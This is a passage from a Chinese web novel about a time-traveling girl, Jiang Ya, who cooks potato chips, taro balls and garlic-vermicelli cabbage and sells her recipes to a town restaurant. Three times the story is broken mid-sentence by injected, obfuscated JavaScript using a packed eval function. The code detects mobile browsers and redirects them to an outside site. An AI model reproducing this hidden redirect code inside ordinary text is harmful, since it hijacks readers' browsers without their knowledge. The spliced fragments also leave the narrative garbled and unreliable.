土豆片遇上油，在锅里马上就舒展开来，像一朵朵展开花瓣的金黄色花朵在锅里打着转。 姜芽用锅铲给它们翻了个面，直到土豆片的两面都完全舒展开，再将土豆片捞起沥油，将剩下的油倒到碗里放起来，这油只是炸过土豆片，日后炒菜做饭都还能用。 刚出锅的土豆片要冷却一会才会变脆，等了几分钟，姜芽才忍不住伸手拿了一片放到嘴里。 咸香的味道马上在口腔中蔓延，加上这香脆的口感，任何调料都不用加，就已经是土豆片最正宗的味道了。 其实这样的土豆片，在姜芽的家乡，是酒桌上必不可少的一道菜，虽然制作简单，但是却是下酒的好东西。 只是现下也没有酒，她只是熬了一锅稀米粥，连同着土豆片一起放到桌子上。 土豆片的魅力就是只要你吃了一片，就根本停不下来。 姜文毅吃了一片又一片，连同粥都喝了好几碗。 “芽芽，你这个土豆又是怎么做出来的？又起了个什么稀奇的名字？”姜文和忍不住问。 姜芽愣了愣，说：“我还没想名字呢，这就叫姜式土豆片吧。” 张春兰一边收拾着碗筷一边笑：“又是姜式呢，看来咱们芽芽以后是要带着咱们姜家的名头做出不少好吃的，说不定还能开个小菜馆当老板呢！” 话虽是玩笑话，可这却是姜芽实实在在的想法，只是现下她也只是顺着张春兰的话开玩笑般的说 “二嫂说的对！以后咱们姜式就是鼎鼎有名的大酒楼！酒楼就叫姜式酒楼！” 自从做了老奶洋芋和晒了土豆片之后，家里可谓是吃了不少土豆，其他人不知道，姜芽却已经吃的有些发腻了。 眼瞅着还有几天才能去镇上，姜芽拿着竹筒看着里面那土豆淀粉，已经是在琢磨着做些什么新东西了。 她数了数请王迎春帮她用破布缝出来的荷包中的铜钱，卖了这几日薄荷水，也收了有将近一百枚铜钱。 只是这薄荷水虽然好，但毕竟也不是必需品，不是每家人日日都舍得花钱买，今天订了水的人家就已经从前几日的十几家降到了八家。 姜芽叹了口气，把荷包贴身紧紧的放好，盘算着过几日上镇子里用这些钱要买些什么东西回来。 不管在什么时代，挣钱都真是太不容易了。 送完薄荷水回到家，白天家中都只有她一个人，正是她研究新东西的好时间。 她将早就被她盯上的红薯搬了些出来，至于为什么早不用红薯，实在是因为刚穿越到这里的时候吃了太多，导致她看到红薯就没了食欲。 红薯，土豆淀粉，能做出什么东西来呢？ 8. 糖水芋圆 怎么样才能让红薯没有红薯的味道和口感呢？ 姜芽早就有了打算，既然有了淀粉，那当然就是做芋圆了！ 如今天气炎热，虽然没有冰，但要是能吃上一碗自己搓出来的芋圆，姜芽都不敢想这有多舒服。 芋圆的做法也算不上复杂，只是之前没有用土豆淀粉做过，想着反正都是淀粉，应该做出来也不会有什么太大的区别。 她把水烧得滚烫，再把带着皮洗干净的红薯放到锅里。 煮红薯这道工序和老奶洋芋用的土豆一样，都要煮到表皮都破开，红薯肉完全煮得透透的才好用。 姜芽蹲在火边，拿着一根小棍子挑着柴，想让火烧得再旺些。 全部红薯的皮都剥好之后，她一股脑的把红薯放到盆中，用勺子反复的按压红薯，直到红薯已经完全的变成泥，才往里面撒了些土豆淀粉。 每放一次土豆淀粉，她就用筷子用力的搅动，把淀粉和红薯泥融合在一起。 反复放了几次淀粉之后，红薯泥终于搅和成了一个橘色的面团。。 她用刀背把面团分成几份，拿出其中一团在菜板上用手揉搓成一根粗细均匀的长条，再用刀把长条切成一个一个的小方块，小方块裹上淀粉，放到一旁撒上了淀粉的竹筛里。 等锅里的水冒起雾气，姜芽就赶紧端着竹筛，把芋圆顺着锅边轻轻的滑下去，淀粉化在水里，芋圆逐渐变成了透亮的橙黄色，一个个的晶莹透亮好看极了。 她拿着勺在锅中轻轻搅动，防止芋圆粘在锅底。 煮了没一会，芋圆就开始往上浮了，在沸腾的水上不停的打着转。 姜芽将芋圆捞出，放到一旁装着凉水的盆中过了一遍凉水后再次捞出，这才算是把这芋圆做成了。 芋圆个个黄黄胖胖，卖相倒是好极了，要是这时候有奶茶，姜芽都不知道自己会有多幸福。 她用筷子夹起一颗放到嘴里，此时的芋圆的内里还带着些温热，带着一丝红薯的甜在嘴里化开。 “还不错，就是没有想象中那么Q弹。”她自言自语一句，虽然口感不是那么完美，但能在这个时代吃上芋圆，她已经非常满足了。 她将早上装薄荷水的水囊清洗干净，在里面灌好水，又加了些蔗糖摇晃几下，最后把所有的芋圆放到碗里，用块布盖住。 前些天试喝薄荷水的竹筒此时也派上了用场，被她翻找出来一并放到了竹篓里。 姜家外卖员姜芽——出动！ 自从她的厨艺被大家发现之后，每次到了快吃饭的时间，姜文毅就没了干活的心思，挖几下地就要往姜芽来的方向望一望。 今日他远远的看到姜芽小小的身影，就乐呵呵的跑过去接。 “好妹子，今日有什么新的好吃的东西吗？二哥每天就等着这个时候了！” 姜芽带着满满的成就感，把背篓卸了下来：“今日咱们吃……小姜芋圆！” 姜齐飞抹了把头上的汗，坐了下来：“姜芋圆又是何物？里面放了姜？” 姜文毅哈哈笑着说：“爹，这你就别问了，名字什么的不重要，咱们等着吃就好了。” 姜芽仰着骄傲的小脸，神神秘秘地给每个人发了一个竹筒杯。 姜文毅拿着空空的竹筒杯，已经有些急不可耐了：“这杯子给我们做什么？该不会就让我喝薄荷水吧？” “非也！”姜芽又把水囊掏出来，依次给每个人都倒了杯糖水。 朱红梅拿起杯子抿了一口：“甜的？这是糖水？” 姜芽点头：“芋圆配糖水，包君满意！” 她最后才把碗上的布揭开，给每个人的竹筒杯里都放了两勺芋圆。 王迎春接过姜芽递过来的竹片，往嘴里扒拉了几颗芋圆，在嘴里嚼了嚼：“这是用什么做出来的？怎么这样软糯？” 姜文毅更是心急，也不用竹片，抬起杯子就往嘴里倒，芋圆嚼没没嚼就顺着嗓子滑了下去。 他挠挠头，问旁边的张春兰：“什么东西软糯，我怎么没尝到？” 张春兰白了他一眼，把自己的芋圆往他嘴里塞了两颗：“好好嚼嚼！” 姜文毅把嘴里的两颗芋圆仔细嚼了嚼，又咂咂嘴：“嗯！这东西吃在嘴里好生奇怪，味道还香甜。” 芋圆这东西本来就管饱，只是这次做的不够多，怕大家没吃饱就干活，姜芽还煮了些野菜粥一同带了过来。 王迎春把吃的空空的竹筒递还给姜芽，顺口问：“芽芽，前几日你从那洗土豆的水里取出的粉，便是用在这芋圆上面了？” 她是家里对姜芽做的东西最感兴趣的人了，姜芽也愿意教她，笑着说 “对！大嫂聪明！等这几日农忙过了，我在家教你做！” 姜齐飞作为一家之主，对姜芽也是越来越满意了，忍不住夸道：“咱们家芽芽真是越来越有出息了！” 姜芽被这左一句右一句的夸赞夸的有些飘飘然，小脸虽然被晒得通红，却还是止不住的笑着说：“等过几日跟三哥去了镇上，我用咱们卖姜式清凉水攒的钱给大家买点肉回来吃！” 鸡肉烂饭，薄荷水，老奶洋芋，糖水芋圆。 姜芽的食谱里，还有数不清的菜等着她做。 转眼间，家家户户地里的活也忙的差不多了，在家里歇的时间也越来越多。 姜芽每日都要缠着姜齐飞问什么时候能到镇上去，姜齐飞虽是没有完全放心，但也顶不住姜芽日日问，只能把姜文和叫到跟前来 “文和，你明日便带着芽芽去镇上，切记要看好她，她年纪小玩心重，说不定看上什么新鲜玩意就走不动道了。” 姜文和也有些兴奋，点头应道：“我知道了爹，我会带好芽芽的。” 一旁的浦树巧转身进了里屋，拿出一个包的严严实实的小布包递给姜文和：“这是两百文，你和芽芽得在镇上住一日，若是看上了什么东西，买得起的话，就给芽芽买。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368593|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜芽一把把布包从姜文和手上夺过来递回去：“娘！我有钱！不要你们的钱！” 浦树巧轻轻在她手上拍了一下：“出门在外，多带些钱也是好的，万一有个什么急事，你们也好应对是不是？” 她说的也有道理，姜文和把钱收下，安慰道：“娘说的对，咱们带着这些钱去又不是要尽数花完，剩下的带回来还给爹娘就是了。” 姜芽只能应下，心中却想好了绝不会动爹娘辛苦攒下来的钱。 第二日出门之前，姜芽和姜文和背上的背篓里都塞满了东西，说是让他们在镇上卖了。 都要出门了，姜文毅都拉着姜芽嘀咕：“芽芽，你可记得二哥跟你说的，多买些肉回来，到时爹娘要是骂你，二哥顶在前面！” “得了！”张春兰打了他一下：“赶紧让老三和芽芽早些出门吧，咱们村离镇上远，现在出门还得走得快些才能在天黑之前赶到镇上。。” 朱红梅眼中有些担忧，脸上却还是凶巴巴的神色，揪着姜文和的耳朵说：“到镇上少看你那些书，带着芽芽去她想看的地方多看看，吃点好吃的，听到没！” 姜文和缩着脖子应道：“知道了知道了！” 眼看着家里人还有说不完的话，他赶紧拉着姜芽就往外走：“我们走了！” 姜芽被他拉着往前走，却还是回头对着站在院门口看着他们的家人甜甜的笑着挥手：“我们走啦！大嫂！记得我教你的那些菜！做给大家吃！二哥！记得订了薄荷水的那几家，帮我把薄荷水准时送到！” 浦树巧看着她这样子，心里也放心多了，挥着手喊：“跟好你三哥，千万别走丢了！” 兄妹二人是早晨出发的，可太阳还没升到头顶，姜芽就已经走不动了。 她靠着树坐下，豆大的汗珠从额头流下来：“三哥，你别拉着我走了，我真是一步也走不动了！” 姜文和着急的在她旁边来回踱步：“不行啊，还没走一个时辰，你已经歇了第三次了，照这么走，天黑了咱们都到不了。” 姜芽欲哭无泪，指了指地上的背篓：“光是走路就罢了，咱们还背着这么多东西，我的脚都要长水泡了！” “我帮你背些，你赶紧起来，听话！到了镇里哥给你买糖糕吃！”姜文和二话不说就把姜芽背篓里的东西往自己背篓里塞。 看他这架势，姜芽只能从手边寻了根木棍撑着站起来，咬着牙说：“好好好，三哥，等到了镇上，我不仅要吃糖糕，我还要吃大鱼大肉，去茶馆喝茶听戏，嘿嘿嘿，别说你没钱，我看到出门前三嫂给偷偷给你塞了钱了……” 在姜文和坚持不懈的拉扯下，两个人终于是在天擦黑的时候到了目的地，姜芽觉她的脚已经不是自己的了，每往前走一步脚底都像硌在了什么尖锐的石子上一样痛。 她一手拄着棍子，一手扶着酸痛的腰，仰着头看着阳宁镇三个大字，忍不住扯着嗓子大喊一声：‘阳宁镇！我来啦！’” 9. 蒜蓉粉丝白菜（一） 姜芽从没想过自己有一天会露宿街头。 兜里的钱一分没花，但阳宁镇是个小镇子，能落脚的客栈并不多，姜文和带着姜芽问了几家，都已经没有房间了。 剩下的客栈，光看门头就知道，他们那点钱压根住不起。 姜芽的脚实在痛的受不住，她那双本就破旧的布鞋，在这一天的行走中终究没撑住，裂开了个口子，大脚趾都露出了个头来。 相比起刚看到阳宁镇的兴奋，现在的她只剩下满身的疲惫，连站着都要睡过去了。 深夜的镇子里，街上基本没有什么行人。 姜文和寻了个巷子，将两个背篓一左一右的直放着，中间的空隙刚好够两个人坐下。 “咱们今晚就在这歇一晚吧。” 姜芽也顾不得这么多了，直接背靠着墙坐了下去，把身子蜷在背篓后面，最大程度的减少吹过来的风。 姜文和在她另一侧坐下，还特意把自己的外衫脱下来搭在姜芽肩上 只是他身形比姜芽高大得多，再怎么缩，也还是有小半截身子露在背篓外，挡着巷口的风。 姜芽低声笑：“三哥，你看咱们兄妹这样子，明天会不会被人当成叫花子？要是有人能赏几个铜板就更好了。” 姜文和看着这个小小的人儿，别家的女儿长到这个岁数，也不会有这么瘦小，姜芽从小就被饥一顿饱一顿的养大，常年的营养不良才让她到了如今也矮矮瘦瘦的。 他把手放到姜芽的头上，轻声说：“都睡大街了，还笑得出来？赶紧睡吧，明天一早咱们就先把住处寻了。” 姜芽却转头看着他，眼睛在黑夜里亮晶晶的：“我睡不着，要不三哥跟我讲讲你和三嫂的故事吧？你为啥这么怕她？” 朱红梅其实是外村人，记忆里姜文和也是来了一趟阳宁镇几天，再回来的时候身边就多了朱红梅。 姜文和抬头看着天，似乎在回忆，嘴里却已经说了起来： “那年，我好不容易求爹爹让我到阳宁镇来买几本书，没想到人刚到镇子里，都还没走到书摊，荷包就被摸了。” 姜芽歪着头眨巴着眼睛：“是三嫂帮你抓到的贼？” 小说里都是这样写的，姜芽自然也这样认为。 姜文和却摇摇头，嘴角带着一抹笑：“我的荷包就是你三嫂摸走的。” “什么？？”姜芽紧了紧外衫：“三嫂是那个偷你荷包的人？？” 姜文和点头：“没想到吧？那时她老家发了洪灾，她是逃难逃到这个地方的，家人也找不到了，那时的她饿得不行，见我荷包就挂在腰上，想也没想就将我荷包摸了去。” “那你是怎么找到她的？”姜芽追问。 “我没找到她。”姜文和有些不好意思，却还是接着说：“我性子本就软，当时见荷包被偷，又怕回家挨爹娘骂，就……就坐在街边哭了。” “结果红梅那时候或许是看不下去了，走到我面前就把荷包扔还给我，还说男子汉顶天立地，居然被偷了个荷包就开始流眼泪，说我没骨气。” “我见她穿的比我还要寒酸，还想着是她帮我抓的贼，就从荷包里拿出几个铜板给她，她却不隐瞒，说就是她偷的我的荷包。” “所以后来你知道为什么我会将她带回家，爹娘还愿意给她吃给她喝吗？” 姜文和问了两声，姜芽却没有了回应。 他这才看到，小丫头已经靠着他的手臂沉沉的睡了过去。 “其实我不是怕红梅，只是她对我的好，我心里比谁都清楚。” 夜风吹过巷子，带着几分凉意，他这句话轻得像飘在风里，不知是说给姜芽听，还是说给自己听的。 一夜过去。 阳光从巷子头照进来，打在了姜芽的脸上，她眯了眯眼睛，把手放到眉头处睁开眼。 巷子外大大小小的叫卖声，行人的说话声，吵闹声隐约传了进来。 她摇了摇还睡着的姜文和：“三哥，醒醒！” 姜文和迷迷糊糊的睁眼：“天亮了？” 姜芽点头：“对啊，快起来！待会真被人当叫花子了，我肚子好饿，咱们去找点吃的。” 虽是在外露宿了一夜，此刻对于阳宁镇的新鲜感，倒是让姜芽浑身的疲惫都消失殆尽了。 姜文和打了个哈欠，把背篓背上，带着姜芽从巷子走出去，阳宁镇的热闹才展现在了二人面前。 馒头摊的老板将竹屉揭开，冒着白气的馒头又大又白，几个路人围过去向老板买馒头。 豆腐摊也早就支了起来，半夜磨好的豆腐白白嫩嫩，看起来新鲜又水嫩。 最多的还是卖菜的挑夫，大多是离阳宁镇比较近的几个村的村民，此时正一边挑着扁担一边大声的吆喝。 姜芽被那馒头勾出了馋虫，几步跑到馒头摊面前，还没开口，馒头摊的老板就皱着眉看着她 “走开走开！大早上的就来讨饭！” 姜芽低头打量了一下自己这一身，也不生气了，换做她是馒头摊老板可能也会以为自己这副模样就是个讨饭的。 她笑眯眯的掏出两个铜板：“老板，我不讨饭，我买俩馒头。” 她这样子倒是让老板有些不好意思了，嘴里说着：“莫见怪莫见怪。”手赶紧将铜板接了过去，用油纸包了两个馒头，想了想，又掰了半个放到里面，算是为刚才的冒犯道歉。 姜文和接过姜芽递过来的馒头问：“你和王家打架的气势哪去了？刚才我以为你怎的都要骂那老板几句。” 姜芽满足的咬了一大口馒头，腮帮子鼓鼓的，她摆摆手含糊不清的说：“就咱们现在这个样子，又是大早上的，人家误会我是讨饭的也正常，做生意也不容易。” 姜文和诧异的看了她一眼，没想到她能说出这种话。 两人吃完馒头，就商量着找地方把背上背着的粮食先卖了，这样一来身上多了些钱，二来也要轻松些。 只是这卖粮食并没有姜芽想象中那么轻松，连着问了几家店都没人愿意收，毕竟做吃食的店的食材都是固定着时间去找比较相熟的人去收的。 一直找到了中午，又被一家小菜馆拒之门外，姜芽再也受不了了，在食肆门侧的台阶上坐下休息。 掌柜的看在眼里，只觉得这两人也不容易，没赶他们走，还让小二给他们送了两个玉米馍馍。 姜芽把气都撒在了馍馍上，恨恨的咬了一口说：“还说早些去找住处呢，咱们连东西都卖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368594|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出去，早上吃馒头，中午吃馍馍，还没在家吃的好些。” 说着她往食肆里看了一眼：“三哥，要不咱们先进去吃一顿吧？吃饱了再接着卖？” 姜文和有些犹豫，但姜芽说的也有道理，这个玉米馍馍也填不饱他们的肚子。 他还没开口说话，食肆内却传出一阵争吵声。 姜芽从小就爱凑热闹，一听有人吵架，赶紧往屁股挪了挪，露出半张脸往里面看。 “你们这做的是什么东西？让你们做饭的厨子自己出来尝尝，这是人吃的还是猪吃的？”说话的是个青年男子，脸上带着怒气，指着桌子上的一盘炒白菜发着火。 掌柜的赶紧过去，解释道：“赵公子，您也是咱们店的老客了，这炒白菜您也吃过不少次，今天……” 那姓赵的公子一听，火气更盛：“瞧你这话说的，正是我吃过不少次，我才说今日这炒白菜做的就是难吃，要不你自己尝尝？” 掌柜的还没说话，后厨的厨子听着动静抡着大勺就冲了出来：“怎的今天就不好吃了？我日日都是这么炒的！” 掌柜的往厨子屁股上踹了一脚让他别说话，笑着跟赵公子道歉：“赵公子，我家这厨子不会说话，这样，今天这桌菜就当我请您的，您别跟他一般见识。” 赵公子本来也没打算太过计较，只是这厨子让他有些下不来台，他一巴掌拍在桌子上：“谁稀得你请？这白菜就是不好吃，你们再给我炒一份上来，钱我照付，我倒是要看看，到底是我的问题，还是你们的问题！” 厨子也是个暴脾气，哼了一声说：“我偏不炒，就这一份，你爱吃不吃！” 掌柜的急得扯他的衣服，低声说：“祖宗啊，你再去好好炒一份来给人家！” 厨子不服气的嚷嚷：“掌柜的！这人就是来吃白食的，这你还看不出来吗？” 眼看着两边僵持不下，姜芽看着这场景，心中却已经有了主意，她把背篓一放，仗着自己身形小，从看热闹的人群中几下就窜了进去。 姜文和发现的时候，姜芽已经到了那赵公子的饭桌面前。 他低声喊：“芽芽！回来！” 姜芽却头都不回，不知道是不是故意没听见。 她先是看了看那盘炒白菜，看起来没什么问题，但这赵公子看起来也不像那厨子说的是来吃白食的。 那厨子本来就在气头上，看到个一身破旧的小丫头钻进来，拎起来就要把她往外扔：“哪里来小要饭的！要饭也没个眼色吗？” 姜芽在他手中挣扎，嘴里喊着：“掌柜的！这白菜我能做好吃！包赵公子满意！” 掌柜的一听，纵是再不相信，也只能叫住厨子，走到姜芽面前问：“你说，你能做？” 姜芽拍拍厨子的胳膊示意他将自己放下来，昂着头说：“炒个白菜，不是寻常人家都会做的吗？我今天就给赵公子做个不一样的！” 看着掌柜的脸上还带着怀疑，她又咬牙加了一句：“要是不好吃，赵公子这桌我买了！” 赵公子也来了兴致，拍手道：“你便让这丫头做，反正你家厨子今日做的这般难吃，就是我去炒也肯定比这好吃的多，我倒要看看，一个白菜，她能做出什么花样来！” 10. 蒜蓉粉丝白菜（二） 厨师自然是不愿意让姜芽进厨房的，嚷嚷着说：“掌柜的，你看这小丫头片子，自己都像是连饭都吃不饱的样子，还做饭呢？一看就是个骗子！” 姜文和终于背上背着背篓手上还拎着姜芽的那个挤了进来，听到这厨师说的话，纵是再胆小，也壮着胆子说：“我家芽芽做的菜本就好吃，你这般阻拦，莫不是怕她抢了你的风头？” 他这话说的激人，也引得围观的人群发出一阵哄笑。 “你莫不是真怕这丫头把你风头抢了？到时让把你的位置顶了？” “就是就是，张厨子，你要不怕就让人家去试试啊，人家小姑娘不都说了，要是做的没你做的好吃，就把那赵公子的饭钱给了，你怕什么？” 厨子经不住激，气哼哼的让开去后厨的路：“你便做给我看看！” 姜芽欢呼一声：“那还请你给我带带路。” 眼看着众人的注意力都在姜芽和张厨子身上，就连赵公子也站起来看热闹。 那掌柜的悄悄凑到那盘清炒白菜旁，飞快地捏起一片菜叶塞进嘴里，又若无其事地嚼了嚼。 …… 张厨子今天是不是吃错药了，怎的这菜这么咸？也难怪赵公子发火。 后厨，张厨子抱着手看着正在仔仔细细洗手的姜芽，想着反正这丫头也做不出什么美味来，待会定要好好的嘲笑她。 姜芽却没注意这些，这算是她穿越以来第一次正经的用这像样的厨房，哪怕只是炒盘白菜，她也想做得漂亮。 她在厨房里四处翻找，眼睛一亮，这地方居然有粉丝！ 那这菜不就有了！ 现代的家常菜——蒜蓉粉丝白菜！ 她挑选了一颗比较嫩的白菜，外围的四片叶子剥开，再将整颗白菜放到菜板上，把菜根切掉。 接着用刀把白菜切成大小差不多的四瓣，放到水中清洗干净。 张大厨看到这里，忍不住说道：“你就这样做？菜叶都不用扒下来？” 姜芽头也不抬：“好好看好好学吧张叔，我只教这一次。” 洗净的白菜放到一边，她取来几头剥好的大蒜，砰砰砰的开始剁蒜末，甚至开始指挥起了张大厨：“张叔，再帮我挑一颗又小又嫩的白菜出来，我待会再教你一招。” 张大厨从她的动作里也看出来她似乎真有两把刷子，虽然不满，但还是按她说的去挑白菜了。 姜芽把切好的蒜末放到热了油的锅中，蒜香味带着油香瞬间飘满整个厨房，她又往锅里加了些酱油和一小勺盐，用锅铲搅拌均匀，这蒜蓉酱便是做成了。 灶上烧着水的锅冒着气，姜芽拿了一小把粉丝放进去，又马上捞出来，这粉丝只需烫一下就够了。 她将烫熟的粉丝铺到盘子的底部，再将白菜菜心向上摆好，看着倒是像朵盛开的鲜绿色的花。 最后将炒好的蒜蓉酱淋到白菜上，然后把盘子递给张大厨：“放到锅里蒸。” 在等蒸娃娃菜的时间，姜芽又把张厨子挑过来的白菜洗净烫熟，先把菜叶子切下来，放到一边 随后把菜杆子放到菜板上，仔细的用刀尖把菜杆子切成菱形，像是花瓣。 张大厨将蒜蓉粉丝白菜放到蒸锅里，马上又凑过来，生怕自己错过了什么，好像和姜芽的“过节”已经完全抛之脑后了。 姜芽把菜叶堆在盘子的中间，再小心的把切出造型的菜杆竖着一层又一层的把菜叶包在中间。 等里里外外的包好了三层，在二人眼前的赫然是一个白色的花苞。 其实这是姜芽第一次做这种摆盘的菜，这道菜还是某一次刷视频的时候看到记在心里的，没想到竟然一次就做成了。 她拿了个茶壶，往里面装满张厨子一早就熬上的鸡汤放到一边。 再把蒸锅里的菜拿出来，往上面撒了一把葱花，又淋了半勺热油。 做到这里，别说外面等着看热闹的人了，就是张厨子，也忍不住咽了口水。 她把盘子递给张厨子，笑的甜甜的：“张叔，帮我拿这道菜哦。” 自己一手端着那盘做成花苞模样的白菜，另一只手拎着装着鸡汤的茶壶，跟张厨子一起走了出去。 姜文和在外面等得着急，掌柜的又拦着不让他跟到后厨，说是什么闲人免进。 此时看到姜芽乐呵呵的出来，悬着的心才算是放了下来。 赵公子看着自己面前的两个盘子，先是指了指那花苞：“这是何菜？” 姜芽卖了个关子：“您先尝尝这道蒜蓉粉丝白菜。” 看热闹的人围坐一团，等着赵公子动筷。 赵公子先夹了一片菜叶，裹着金黄的蒜蓉放到嘴里，轻轻一咬，汁水混着菜叶的清甜马上充满了他的整个口腔。 “好吃！太好吃了！”他忍不住又夹了筷菜心，菜心更是吸满了汤汁，带着白菜的清脆，让他根本不想停下来。 姜芽看到他满足的表情就知道稳了，本来这菜多用的是娃娃菜，可这里没有娃娃菜只能用白菜代替，现在看来白菜也很成功。 她指了指白菜下面的粉丝：“您再尝尝这个。” 赵公子赶紧家妻铺在盘底的粉丝，提前泡软的粉丝吸足了蒜蓉酱汁，晶莹剔透。 放到嘴里轻轻一嚼，那味道更是咸鲜美味，带着粉丝的弹韧，嚼了几口就轻松的咽了下去。 他本想再吃两口，突然发现围在自己周围的人，有些不好意思的将盘子递给掌柜：“掌柜的，你尝尝，这白菜做的真的是我这辈子都没吃过的美味！” 掌柜的早就等不及了，赶紧将那白菜接过去，一边吃一边发出阵阵惊叹，又递给张厨子让他也尝尝。 那盘白菜在人群中传递，你一口我一口的，眼看着分的差不多了，就连姜文和都凑上去吃到了一口 姜芽才拍拍手把注意力吸引回来，她指了指另一盘菜说：“赵公子，还有这道菜呢。” 赵公子砸吧着嘴说着：“那汤汁还能泡饭吃，别浪费了！”一边坐了回来，把目光放到了另一道菜上。 “让我尝尝这又是何等美味！”他拿着筷子正要去夹，姜芽却制止了他说：“这菜还有最后一步！” 说着就拎起那个装着滚烫鸡汤的茶壶，对着花苞正中轻轻的浇了下去。 花苞白菜顺着留下去的鸡汤，竖着的花瓣缓缓的躺了下去，簇拥的中间用切碎的菜叶做的花蕊。一朵“白菜荷花”就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16368595|183935||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样展现在了众人眼前。 赵公子已经张大了嘴巴说不出话，看看姜芽，又指指那盘“白菜荷花” “这……这真是你做的？” 姜芽嘿嘿的笑：“当然是我做的了，不信你问张大厨！” 赵公子吃了一口被鸡汤泡着的白菜，不同于蒜蓉白菜，这白菜带着鸡汤的鲜香，到了口中又是截然不同的美味。 到了这里，胜负似乎也不需要人定夺了。 赵公子将盘子递给周围的人品尝，居然对着姜芽抱了个拳：“敢问姑娘，是哪家酒楼的厨师？赵某定然要去多多品尝。” 姜芽赶紧摆手，走到姜文和旁边：“我不是哪家酒楼的，我就是跟我哥来镇上卖东西的……” 吃过两道菜的人把姜芽围在中间，七嘴八舌的问着她这菜是怎么做的，跟谁学的。 掌柜的却突然开始谢客，他带着小二扬声说：“诸位！今日小店不营业了，明日欢迎各位再来！” 又对还要等着跟姜芽说什么的赵公子说：“赵公子，今日这白菜，确实是我家厨子没做好，这桌菜小店还是请您吃了。” 虽然大家都不愿意，可这毕竟是别人的店，只能听掌柜的话离开。 姜芽扯扯姜文和的袖子，兄妹二人背着满背篓的货也正准备走，掌柜的却突然叫住他们：“二位，请留步！” 直到店里的人都走干净，掌柜的让小二把门关上，对姜芽说：“敢问姑娘姓名？” 姜芽看出他没坏心，便寻了条长凳坐下：“波罗村姜家姜芽是也！” 波罗村？掌柜的皱着眉想了想：“你们那么远过来，就是来卖货的？” 姜芽点头：“家中实在太穷，只能让我哥带着我来，看看能不能换得些银钱回去” 她才不会说是自己非要来阳宁镇玩的。 掌柜的失笑：“你们这货能卖几个钱？实话说，就小师傅这手艺，去大酒楼寻个工做都是轻而易举的事。” 接着他示意小二将他们二人的背篓的拿过来：“今日之事也多亏小师傅帮忙，你们这两背篓货，我收了！” 眼看着小二把背篓里的粮食往外搬，姜芽赶紧说：“哎哎哎！咱们还没谈价格呢！” 掌柜的摸了摸胡子：“不用谈了，你们拿出去能不能卖出去另说，就算有人收，顶天也就是二百文。” 姜芽对这没概念，给姜文和使了个眼色，看姜文和朝她点头，她才继续问 “那您出多少钱买？” 掌柜的伸出三个手指头。 姜芽挠头：“你出三百文？真的假的？” 掌柜的摇摇头：“我出三十两，买你们兄妹所有的货，还有你今日在我店中做的那两道菜。” 一旁的张厨子听到这才面露喜色，甚至上前蹲在小小的姜芽面前问：“你做菜实在比我厉害得多，能不能做我师父？我不白拜师，我给你钱！” 姜芽看着他这样子，装模作样的问：“找我拜师可不便宜哦，你能给我多少钱？说来听听。” 张厨子急得扒拉着手指算，脸都红了，才有些不好意思地开口：“我攒了八十两，本是留着娶媳妇的……要是不够，我往后每月再补，行不？” 11. 包烧豆腐（一） 只是姜芽说的只是玩笑话，她带着些俏皮的拍拍张厨子的肩：“老婆本你还是留好吧，收徒的事等以后有缘再见再说，我过两日就要会波罗村去了，下次我再来，都不知道是什么时候了。” 张厨子有些失落的低下头，又试探着开口问：“那我家掌柜的三十两买你这两道菜……” 姜芽当然知道，掌柜出这高价是要买这两道菜的做法，她对着掌柜伸出小手：“一手交钱一手交菜。” 其实她本可以再抬抬价，但这两道菜是当着张厨子的面做的，做法也不复杂，他们要是真要耍赖，今天就算一分钱不给，也能自己学着做，她也没有任何办法。 掌柜的走到账台，掏出几个银锭掂了掂递给姜芽：“多的就当是我送你们兄妹一身新衣服了。” 他做事敞亮，姜芽看了看一身破烂的自己和姜文和，也不客气，将银子收了过来：“那便谢过掌柜的了。” 掌柜看着她稚气的小脸上成熟的神情，还是没忍住说：“姜小师傅，若是以后有想到阳宁镇做工的想法，还请先来我们这，我们食肆虽然小了些，我也定不会亏待你。” 姜芽眼睛滴溜溜的转着，似是思索了一番才开口：“我会考虑的！多谢掌柜！” 既然将这菜卖给人家了，姜芽也决定再负责一些，又带着张厨子在后厨教学了一番。 这一顿教学下来，虽然她没有说要收张厨子做徒弟，张厨子却已经一口一个师父的叫上了。 一会说师父等我休息就去波罗村找你，一会又说师父要不我带你去裁新衣服，热情得很。 这人虽然莽撞了些，性格倒是和姜芽的二哥姜文毅一样，没有什么坏心眼，甚至就连体型都差不多，又高又壮。 为了今天这档子事，食肆关了门，本来掌柜还要留姜芽姜文和二人吃晚饭，姜芽却连忙拒绝了，她还有好多事要做。 出了食肆，她将银子交给姜文和让他贴身收好，再寻了个便宜的客栈付了钱，以防晚上再次露宿街头。 